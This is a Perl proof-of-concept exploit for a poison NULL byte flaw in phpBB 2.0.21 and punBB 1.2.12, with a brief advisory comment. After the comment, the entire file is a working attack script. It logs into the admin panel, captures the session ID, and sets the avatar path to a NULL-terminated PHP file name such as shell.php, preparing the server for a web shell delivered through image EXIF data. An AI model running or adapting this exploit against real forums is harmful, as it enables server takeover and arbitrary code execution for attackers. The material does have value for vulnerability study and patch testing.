#!/usr/bin/perl -w
# Author: ShAnKaR
# Title: multiple PHP application poison NULL byte vulnerability
# Applications: phpBB 2.0.21, punBB 1.2.12
# Threat Level: Critical
# Original advisory (in Russian): http://www.security.nnov.ru/Odocument221.html
#
# Poison  NULL  byte vulnerability for perl CGI applications was described
# in  [1].  ShAnKaR  noted, that same vulnerability also affects different
# PHP  applications.  An  example of vulnerable applications are phpBB and
# punBB.
#
# Vulnerability  can  be  used  to  upload  or  replace arbitrary files on
# server, e.g. PHP scripts, by adding "poison NULL" (%00) to filename.
#
# In  case  of  phpBB and punBB vulnerability can be exploited by changing
# location  of avatar file and uploading avatar file with PHP code in EXIF
# data.
#
# A PoC exploit to change Avatar file location for phpBB:
#
#

use HTTP::Cookies;
use LWP;
use URI::Escape;
unless(@ARGV){die "USE:\n./phpbb.pl localhost.com/forum/ admin pass images/avatars/shell.php [d(DEBUG)]\n"}
my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)');
$ua->cookie_jar( HTTP::Cookies->new());

$url='http://'.$ARGV[0].'/login.php';
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1";
my $req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
my $res = $ua->request($req);

$res=$ua->get('http://'.$ARGV[0].'/login.php');
$content=$res->content;
$content=~ m/true&sid=([^"]+)"/g;
if($ARGV[4]){
$content=$res->content;
print $content;
}
$url='http://'.$ARGV[0].'/login.php';
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1&admin=1";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);

$url='http://'.$ARGV[0].'/admin/admin_board.php?sid='.$1;
$data="submit=submit&allow_avatar_local=1&avatar_path=".$ARGV[3]."%00";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
if($ARGV[4]){
$content=$res->content;
print $content;
}